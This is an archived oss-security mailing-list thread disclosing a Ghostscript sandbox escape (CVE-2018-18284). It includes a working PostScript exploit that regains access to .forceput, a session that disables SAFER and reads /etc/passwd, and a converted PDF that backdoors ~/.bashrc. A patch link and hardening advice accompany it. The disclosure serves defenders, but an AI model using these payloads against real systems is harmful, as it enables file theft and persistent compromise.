[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Message-ID: <CAJ_zFk+Db=VQi14vEfA8AeRbqEfROwApCbgVqPQny7qbhj7nhw@mail.gmail.com>
Date: Wed, 17 Oct 2018 13:48:53 -0700
From: Tavis Ormandy <taviso@...gle.com>
To: oss-security@...ts.openwall.com
Subject: Re: ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284
Apparently it wasn't clear that this allowed reading and writing of
arbitrary files, here is a full exploit (I just modified the CVE-2018-17961
exploit).
$ convert executeonly-bypass.pdf exploit.jpg
$ tail -1 ~/.bashrc
echo pwned by postscript
Thanks, Tavis.
On Tue, Oct 16, 2018 at 11:06 AM Tavis Ormandy <taviso@...gle.com> wrote:
> Hello, this
> <https://bugs.chromium.org/p/project-zero/issues/detail?id=1696> is
> CVE-2018-18284, another ghostscript sandbox escape. Because procedures in
> postscript are just executable arrays, all system procedures need to be
> marked as executeonly, so that users cannot peek at their internals with
> array operators.
>
> We have also recently learned that they must be marked as
> pseudo-operators, otherwise their contents might leak to error handlers.
>
> That makes sense, unless the procedure itself is dangerous - in that case
> it must be hidden.
>
> 1Policy is a procedure that was correctly marked as executeonly and made a
> pseudo-operator, but was basically just a wrapper around .forceput. Here is
> how to exploit it:
>
> /.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
> get exec pop pop pop pop pop pop pop } def
>
> Once you have access to .forceput, you can basically do whatever you want,
> see the exploit for CVE-2018-17961 a full example of backdooring .bashrc.
>
> Here is a simpler repro, just reading /etc/passwd:
>
> $ gs -dSAFER -sDEVICE=ppmraw
> GPL Ghostscript 9.25 (2018-09-13)
> Copyright (C) 2018 Artifex Software, Inc. All rights reserved.
> This software comes with NO WARRANTY: see the file PUBLIC for details.
> GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
> get exec pop pop pop pop pop pop pop } def
> GS>systemdict /SAFER false .forceput
> GS>systemdict /userparams get /PermitFileControl [(*)] .forceput
> GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput
> GS>systemdict /userparams get /PermitFileReading [(*)] .forceput
> GS>(/etc/passwd) (r) file 1024 string readline pop ==
> (root:x:0:0:root:/root:/bin/bash)
> GS>
>
> This patch solves it:
>
>
> http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b
>
> Side note: I'm done looking at ghostscript for now, but still *strongly*
> recommend that we deprecate untrusted postscript and disable ghostscript
> coders by default in policy.xml.
>
> Thanks, Tavis.
>
Content of type "text/html" skipped
Download attachment "executeonly-bypass.pdf" of type "application/pdf" (1970 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
